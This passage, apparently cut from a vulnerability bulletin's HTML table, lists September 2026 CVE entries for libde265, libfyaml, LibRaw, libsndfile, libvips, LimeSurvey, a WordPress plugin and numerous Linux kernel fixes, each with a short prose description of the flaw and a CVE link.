&lt;td&gt;libde265 commit 4d45a6b contains a NULL pointer dereference vulnerability in the NAL parsing path. When de265_push_NAL() is called with a zero-length NAL unit, the resulting NAL_unit may retain a NULL backing buffer, which is subsequently passed as the destination argument to memcpy() in NAL_unit::set_data(). Although the copy length is zero, this violates the nonnull requirement of memcpy() and results in undefined behavior, causing process termination in UBSan-instrumented builds and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88373&quot; target=&quot;_blank&quot;&gt;CVE-2026-88373&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libfyaml -- libfyaml 0.9.6&lt;/td&gt;
&lt;td&gt;libfyaml 0.9.6 contains a stack exhaustion vulnerability in fy_atom_iter_format(). When processing a specially crafted YAML document containing a very large literal or folded block scalar, the function repeatedly grows an internal buffer using alloca() inside a loop. The allocated stack memory is not released until the function returns, causing cumulative stack growth that can exceed the process stack limit and result in SIGSEGV and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88359&quot; target=&quot;_blank&quot;&gt;CVE-2026-88359&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libical -- libical 4.0.6&lt;/td&gt;
&lt;td&gt;libical 4.0.6 contains an incompatible function pointer in icalparameter_string_to_kind(). When parsing iCalendar data containing a parameterized property, the function passes icalparameter_compare_kind_map() to bsearch() through an incompatible comparator function pointer type. bsearch() invokes the callback through the mismatched type, resulting in undefined behavior and process termination, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88383&quot; target=&quot;_blank&quot;&gt;CVE-2026-88383&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LibRaw--LibRaw 0.22.0&lt;/td&gt;
&lt;td&gt;LibRaw 0.22.0 contains an incorrect numeric conversion vulnerability in LibRaw::parse_tiff_ifd() when processing TIFF tag 0x00fe (NewSubfileType). A specially crafted RAW, TIFF, or DNG file can supply an attacker-controlled NewSubfileType value outside the range of a signed int. The parser converts this value and narrows it to int without performing range validation. This out-of-range conversion triggers undefined behavior, resulting in process termination and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88387&quot; target=&quot;_blank&quot;&gt;CVE-2026-88387&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libsndfile--libsndfile 1.2.2&lt;/td&gt;
&lt;td&gt;libsndfile 1.2.2 contains an integer overflow vulnerability in mat4_read_header() when parsing crafted MAT4 (MATLAB v4) files.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88372&quot; target=&quot;_blank&quot;&gt;CVE-2026-88372&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libsndfile--libsndfile 1.2.2&lt;/td&gt;
&lt;td&gt;libsndfile 1.2.2 contains a misaligned memory access issue in psf_binheader_readf() while parsing WAV fmt chunks. A specially crafted WAV file can cause the function to cast an unaligned destination address to unsigned int * and perform a 4-byte store. This results in undefined behavior leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88386&quot; target=&quot;_blank&quot;&gt;CVE-2026-88386&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libvips - - libvips 8.19.0&lt;/td&gt;
&lt;td&gt;libvips 8.19.0 contains a memory access vulnerability when processing little-endian PFM images. If the PFM text header length is not a multiple of four bytes, the mmap-based loader can expose pixel data at an address that is not properly aligned for float access. vips_avg_scan() subsequently dereferences the buffer through a float pointer, resulting in undefined behavior and process termination on strict-alignment architectures or UBSan-instrumented builds, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88360&quot; target=&quot;_blank&quot;&gt;CVE-2026-88360&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LimeSurvey--LimeSurvey&lt;/td&gt;
&lt;td&gt;LimeSurvey fails to safely encode attacker-controlled content from a crafted .lss survey file when displaying import warnings, resulting in XSS in the administrative interface.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91775&quot; target=&quot;_blank&quot;&gt;CVE-2026-91775&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LimeSurvey--LimeSurvey&lt;/td&gt;
&lt;td&gt;LimeSurvey Community Edition 7.0.14 contains a reflected cross-site scripting vulnerability on the administrative survey-participant CSV import result page.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92730&quot; target=&quot;_blank&quot;&gt;CVE-2026-92730&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Link Library--Link Library&lt;/td&gt;
&lt;td&gt;The Link Library WordPress plugin before 7.9.6 does not properly escape some parameters before outputting them in the addresses of links it generates on its front-end directory pages, leading to Reflected Cross-Site Scripting which could be used against any visitor, including logged-in administrators.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78393&quot; target=&quot;_blank&quot;&gt;CVE-2026-78393&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Link Library--Link Library&lt;/td&gt;
&lt;td&gt;The Link Library WordPress plugin before 7.9.6 does not sanitize a user-supplied destination folder before writing a generated image to disk, allowing users with the Contributor role and above to create directories and write or overwrite image files anywhere the web server can write, including outside the site&#039;s document root. The written file name is always numeric with a fixed image extension, so executable code cannot be planted this way.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78394&quot; target=&quot;_blank&quot;&gt;CVE-2026-78394&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Link Library--Link Library&lt;/td&gt;
&lt;td&gt;The Link Library WordPress plugin before 7.9.6 does not validate the destination of a user-supplied URL before falling back to an unprotected fetch when its safe request is rejected, allowing unauthenticated visitors to make the site issue requests to hosts on its internal network and to learn from the response whether an internal service answered. Versions below 7.8.8 are covered by CVE-2025-68600; this entry covers 7.8.8 through 7.9.5, where that fix was incomplete. Exploitation requires the site owner to have published the Link Library WordPress plugin before 7.9.6&#039;s public link submission form with reciprocal-link validation enabled.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78397&quot; target=&quot;_blank&quot;&gt;CVE-2026-78397&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_nat_sip: rewind offset when NAT shrinks the packet sashiko says: If map_addr() changes the packet length, such as when the public NAT IP string is shorter or longer than the internal IP, coff will still point to the offset relative to the pre-mangled packet. If the packet shrinks, coff could overshoot the correct position, potentially causing the next ct_sip_parse_header_uri() call to silently skip bytes and miss subsequent Contact headers. Could this lead to a failure to NAT those subsequent headers and leak internal network details?&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100070&quot; target=&quot;_blank&quot;&gt;CVE-2026-100070&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: hsr: free learned nodes on device setup failure hsr_dev_finalize() can fail after a lower-device RX handler has already been registered (slave A is added before the failable slave B and interlink adds). RX handlers run in softirq regardless of the master&#039;s state, so frames received in that window can learn dynamic nodes into node_db, and the error unwind never releases them. Free both owned dynamic databases in the unwind, mirroring hsr_dellink(). proxy_node_db is provably empty on every current error exit (only interlink RX feeds it, and the interlink add is the last failable step) and is freed for symmetry. The order is safe: hsr_del_port() unregisters each RX handler with synchronize_net() before hsr_del_nodes() runs, which removes remaining entries with list_del_rcu() and defers their release with call_rcu() for readers already under RCU.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100071&quot; target=&quot;_blank&quot;&gt;CVE-2026-100071&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPI: platform: Use acpi_bus_get_primary_device() The acpi_get_first_physical_node() usage in acpi_platform_fill_resource() and acpi_create_platform_device() is generally unsafe because in theory the device returned by it may be freed at any time [1]. It is also inefficient because acpi_get_first_physical_node() is called multiple times for the same argument which can be avoided. Address these issues by using acpi_bus_get_primary_device() instead of acpi_get_first_physical_node() and adjusting the code to call it just once at the beginning of and acpi_create_platform_device() and drop the device reference acquired by it upon the return from that function.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100072&quot; target=&quot;_blank&quot;&gt;CVE-2026-100072&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ext4: fix transaction overflow during writeback Commit 95ad8ee45cdb (&quot;ext4: correct the reserved credits for extent conversion&quot;) was correct to note that we need to reserve enough credits for all extents possibly underlying a large folio. However it was too eager to reduce the number of reserved credits. Extent conversion may not only need to touch several leaf extent blocks, it may also need to split extents - for example a single large unwritten extent may need to be split into many small written ones in case of sparse folio dirtying. This can thus result not only in extent leaf modifications but also in a need to allocate new extent tree nodes. As a result the reserved transaction credits were not sufficient in some corner cases. Use ext4_meta_trans_blocks() for correct upper bound credit estimate.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100073&quot; target=&quot;_blank&quot;&gt;CVE-2026-100073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Mark bpf_refcount field as unique BPF_REFCOUNT is not marked as a unique field, while it should be. Fix this oversight.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100074&quot; target=&quot;_blank&quot;&gt;CVE-2026-100074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix xmit_frame/xmit_buf leaks on mgnt-frame error paths issue_beacon(), issue_probersp() and issue_asocrsp() obtain a management xmit_frame together with its xmit_buf from the driver&#039;s fixed-size management-TX pools via alloc_mgtxmitframe(). On the normal path the frame is handed to dump_mgntframe(), which transfers ownership and eventually returns both objects to their pools (the frame and, for beacons, the buf in rtl8723bs_mgnt_xmit(); other bufs via the pending-xmitbuf/TX-completion path). Several error/edge paths return early after a successful alloc_mgtxmitframe() but before dump_mgntframe(), so ownership is never transferred and neither object is freed: - issue_beacon(): beacon larger than 512 bytes - issue_probersp(): cur_network-&amp;gt;ie_length &amp;gt; MAX_IE_SZ - issue_probersp(): kzalloc() of the SSID scratch buffer fails - issue_asocrsp(): pkt_type is neither ASSOCRSP nor REASSOCRSP Because alloc_mgtxmitframe() removes the frame and buf from their free lists (list_del_init) without placing them on any pending list, an orphaned pair is on no list and referenced by nobody, so it is only reclaimed at driver teardown. Repeated hits progressively exhaust the management-TX pools until alloc_mgtxmitframe() returns NULL and the interface can no longer send beacons or probe/assoc responses. Free the frame and buffer on these paths, matching the existing correct error handling in issue_assocreq().&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100076&quot; target=&quot;_blank&quot;&gt;CVE-2026-100076&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/msm: Recover HW before retire hung submit During recovery, it is not safe to retire the hung submit before we recover the GPU. Retiring the submit triggers BO free and that can result in GPU pagefaults since the GPU may be actively accessing those BOs. To fix this, retire the submits after gpu recovery is complete in recover_worker(). Patchwork: https://patchwork.freedesktop.org/patch/730655/&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100077&quot; target=&quot;_blank&quot;&gt;CVE-2026-100077&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mei: pass correct argument to function The first argument to iwl_mei_write_cyclic_buf() should be the cldev but the q_head pointer is passed instead. Fix it.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100078&quot; target=&quot;_blank&quot;&gt;CVE-2026-100078&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: typec: ucsi: unregister debugfs entries on teardown ucsi_register() creates per-instance debugfs entries, but ucsi_unregister() keeps them around until ucsi_destroy(). Drivers like ucsi_glink that unregister/register the same UCSI instance across remoteproc restart then try to create an already existing debugfs directory and log: debugfs: &#039;pmic_glink.ucsi.0&#039; already exists in &#039;ucsi&#039; Unregister debugfs entries as part of ucsi_unregister(), and clear ucsi-&amp;gt;debugfs after freeing it so repeated unregister paths remain safe.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100079&quot; target=&quot;_blank&quot;&gt;CVE-2026-100079&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/arm-smmu-v3: Manage teardown with devm arm_smmu_device_remove() manually frees the IOPF queue, destroys the vmid_map and disables the device, while the IRQs and queues are devm managed. devm unwinds only after remove() returns, so the cleanup runs in the wrong order. The IOPF queue is freed before the event-queue IRQ whose handler uses it. Manage all of it with devm so the unwind order is correct. Free the IOPF queue and vmid_map via devm actions, and disable the device from one registered after arm_smmu_device_reset(). This is also a prerequisite for fixing a Tegra241 CMDQV CMD_SYNC use-after-free in the subsequent patch.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93205&quot; target=&quot;_blank&quot;&gt;CVE-2026-93205&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: PCI/proc: Use file_ns_capable() when checking config space read access proc_bus_pci_read() decides how much of the config space is readable based on capable(CAP_SYS_ADMIN), which checks the credentials of the task calling read(), not the credentials of the process that opened the file. The sysfs equivalent, pci_read_config(), has checked the credentials of the opening process since commit de139a339395 (&quot;pci: check caps from sysfs file open to read device dependent config space&quot;), so a privileged process can open the config space file and pass the file descriptor to an unprivileged process (for example, a process running a KVM guest with an assigned device), which can then read the entire config space. The check was subsequently routed through the LSM framework in commit 47970b1b2aa6 (&quot;pci: use security_capable() when checking capablities during config space read&quot;) and converted to the dedicated helper in commit ab0fa82b2df9 (&quot;pci-sysfs: use proper file capability helper function&quot;). Thus, the two interfaces check the same capability against different credentials. Checking the credentials of the task calling read() makes the outcome depend on who reads rather than who opened, so the restriction is bypassed whenever a more privileged process reads through the descriptor. Checking the credentials recorded in file-&amp;gt;f_cred settles the decision at open() time and ties it to the file, where it cannot change with the caller. Use file_ns_capable() to check CAP_SYS_ADMIN against the credentials in effect when the file was opened, bringing the procfs interface in line with the sysfs behaviour. As a result, a file descriptor opened by a privileged process and passed to an unprivileged one now allows the entire config space to be read through procfs, matching sysfs.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93206&quot; target=&quot;_blank&quot;&gt;CVE-2026-93206&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: kasan: fix cache shrink race with CPU hotplug kasan_quarantine_remove_cache() first invokes per_cpu_remove_cache() on all online CPUs. Each callback moves objects belonging to the cache from cpu_quarantine to the CPU&#039;s shrink_qlist, where they can later be freed from task context. kmem_cache_destroy() invokes the quarantine removal path while holding cpus_read_lock(), but kmem_cache_shrink() does not. The latter can therefore race with CPU offlining as follows: kmem_cache_shrink() CPU hotplug ------------------- ----------- on_each_cpu() CPU1 moves objects to CPU1&#039;s shrink_qlist on_each_cpu() returns CPU1 goes offline kasan_cpu_offline() drains cpu_quarantine leaves shrink_qlist untouched for_each_online_cpu() skips CPU1 The objects left on CPU1&#039;s shrink_qlist are not returned to the slab allocator. This may prevent kmem_cache_shrink() from releasing slabs that would otherwise become empty. If CPU1 remains offline, a later kmem_cache_destroy() also skips the list and can report that the cache still contains objects. An intermittent occurrence was observed with a virtio-9p filesystem. The mount and umount commands both returned 0, but the kernel logged the following during the userspace-triggered teardown: [ 2994.380134][ T111] BUG 9p-fcall-cache-1 (Tainted: G B ): Objects remaining on __kmem_cache_shutdown() [ 2994.381140][ T111] Object 0xff11000004361118 @offset=4376 [ 2994.381607][ T111] Allocated in p9_fcall_init+0x201/0x400 age=19564 cpu=1 pid=104 [ 2994.382591][ T111] p9_fcall_init+0x201/0x400 [ 2994.382810][ T111] p9_tag_alloc+0x12f/0x700 [ 2994.382982][ T111] p9_client_prepare_req+0x102/0x3e0 [ 2994.383165][ T111] p9_client_rpc+0x1ab/0xa50 [ 2994.383334][ T111] p9_client_getattr_dotl+0xb0/0x1a0 [ 2994.383515][ T111] v9fs_vfs_getattr_dotl+0x115/0x360 [ 2994.383719][ T111] vfs_getattr_nosec+0x22c/0x3a0 [ 2994.383910][ T111] vfs_statx+0xd7/0x170 [ 2994.384062][ T111] vfs_fstatat+0x45/0x80 [ 2994.384215][ T111] __do_sys_newfstatat+0x84/0xe0 [ 2994.384386][ T111] do_syscall_64+0x115/0x6a0 [ 2994.384566][ T111] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 2994.399720][ T111] WARNING: mm/slub.c:1244 at __kmem_cache_shutdown+0x363/0x500, CPU#0: busybox/111 [ 2994.405655][ T111] Call Trace: [ 2994.406325][ T111] kmem_cache_destroy+0x73/0x1b0 [ 2994.406630][ T111] p9_client_destroy+0x271/0x3c0 [ 2994.407210][ T111] v9fs_session_close+0x3c/0x260 [ 2994.407409][ T111] v9fs_kill_super+0x48/0x90 [ 2994.407584][ T111] deactivate_locked_super+0xa3/0x160 [ 2994.407778][ T111] cleanup_mnt+0x1dd/0x3e0 Thus, a successful umount left objects in the 9p fcall cache and prevented the cache from being destroyed cleanly. Per-CPU shrink_qlist storage exists for every possible CPU, and each list is protected by its own raw spinlock. Iterate over possible CPUs so that a list populated before its CPU went offline is drained as well. for_each_possible_cpu() can do more work than for_each_online_cpu(), but this change only affects CONFIG_KASAN_GENERIC kernels. The extra work is limited to cache shrink and cache destruction paths and does not affect the normal allocation/free fast path. It adds one raw-spinlock-protected scan of each possible CPU&#039;s shrink list. These lists are normally empty; a non-empty list is traversed to remove objects belonging to the cache being shrunk or destroyed.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93208&quot; target=&quot;_blank&quot;&gt;CVE-2026-93208&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_core: use skb_get() instead of skb_clone() for req_skb BT enable fails intermittently with -ETIMEDOUT (-110). The kernel log shows the HCI Read Local Version command was sent and the firmware replied with status 0x00 (logged by hci_req_cmd_complete() BT_DBG), but the waiter in __hci_cmd_sync_sk() never woke up and timed out after 10 s: bluetooth hci0: Opcode 0xfc00 // __hci_cmd_sync_sk bluetooth hci0: opcode 0xfc00 plen 1 // hci_cmd_sync_add bluetooth hci0: skb len 4 // hci_cmd_sync_alloc bluetooth hci0: length 1 // hci_req_sync_run Bluetooth: hci0 cmd_cnt 1 cmd queued 1 // hci_cmd_work Bluetooth: hci0 type 1 len 4 // hci_send_frame Bluetooth: opcode 0xfc00 status 0x00 // hci_req_cmd_complete &amp;lt;-- req_skb NULL: req_complete_skb not set, hci_cmd_sync_complete() never called, req_status stays HCI_REQ_PEND --&amp;gt; &amp;lt;-- 10 s later: wait_event_interruptible_timeout expires --&amp;gt; bluetooth hci0: end: err -110 // __hci_cmd_sync_sk The root cause is that hci_send_cmd_sync() clones the sent command into hdev-&amp;gt;req_skb so that hci_req_cmd_complete() can locate the registered completion callback. Under memory pressure this skb_clone() fails, leaving hdev-&amp;gt;req_skb NULL. The firmware reply is received and processed, but hci_req_cmd_complete() finds NULL req_skb, so hci_cmd_sync_complete() is never called, req_status stays HCI_REQ_PEND, and the waiter times out with -ETIMEDOUT. req_skb is only used to read bt_cb(skb)-&amp;gt;hci callbacks and opcode -- it is never modified. Replace skb_clone() with skb_get(), which simply increments the reference count of hdev-&amp;gt;sent_cmd without allocating new memory and therefore cannot fail. This issue was first observed as a use-after-free in ttyport_close() when ttyport_open() failed, which was investigated in an earlier patch series [1]. That investigation led to the discovery of the true root cause described above. [1] https://lore.kernel.org/all/20250430111617.1151390-1-quic_cxin@quicinc.com/&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93209&quot; target=&quot;_blank&quot;&gt;CVE-2026-93209&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: harden DFS cache against invalid target hints Currently, get_tgt_name() returns ERR_PTR(-ENOENT) when ce-&amp;gt;tgthint is NULL, and dfs_cache_noreq_update_tgthint() assumes ce-&amp;gt;tgthint is always valid. In preparation for clearing ce-&amp;gt;tgthint in free_tgts(), harden callers of get_tgt_name() against ERR_PTR results and harden dfs_cache_noreq_update_tgthint() against NULL pointer dereferences.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93210&quot; target=&quot;_blank&quot;&gt;CVE-2026-93210&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: initialize DRC hash table before registering shrinker shrinker_register() precedes the INIT_LIST_HEAD loop and the drc_hashsize store. On weakly-ordered architectures (arm64, ppc), a shrinker scan can observe drc_hashsize before the bucket list heads are initialized, causing a NULL deref in the DRC shrinker callback. Move bucket initialization and the drc_hashsize store before shrinker_register() so the hash table is fully initialized before it becomes visible to the shrinker.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93211&quot; target=&quot;_blank&quot;&gt;CVE-2026-93211&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: guard nfsd_serv deref in nfsd_file_net_dispose nfsd_file_net_dispose() is the consumer side of l-&amp;gt;freeme: the nfsd service thread loop calls it to drain entries that the filecache garbage collector and shrinker append via nfsd_file_dispose_list_delayed(). During per-net teardown, nn-&amp;gt;nfsd_serv is cleared before the filecache laundrette is shut down, so the service thread can still run a dispose pass that finds more than eight entries on l-&amp;gt;freeme and dereferences a NULL svc_serv: nfsd service thread loop nfsd_file_net_dispose(nn) if (!list_empty(&amp;amp;l-&amp;gt;freeme)) { ... svc_wake_up(nn-&amp;gt;nfsd_serv); /* nn-&amp;gt;nfsd_serv == NULL */ } The sibling helper nfsd_file_dispose_list_delayed() already documents this ordering and caches nn-&amp;gt;nfsd_serv into a local before testing it for NULL. nfsd_file_net_dispose() was introduced with the same raw svc_wake_up(nn-&amp;gt;nfsd_serv) call and never picked up the guard. Fix by loading nn-&amp;gt;nfsd_serv into a local svc_serv pointer and only calling svc_wake_up() when it is non-NULL, matching the pattern in nfsd_file_dispose_list_delayed().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93212&quot; target=&quot;_blank&quot;&gt;CVE-2026-93212&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: of: fix out-of-bounds read in of_alias_scan() stem parser The stem parser tests isdigit(*(end - 1)) before checking end &amp;gt; start and so reads one byte before the property name when the name is empty or all digits. Check the bound first.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
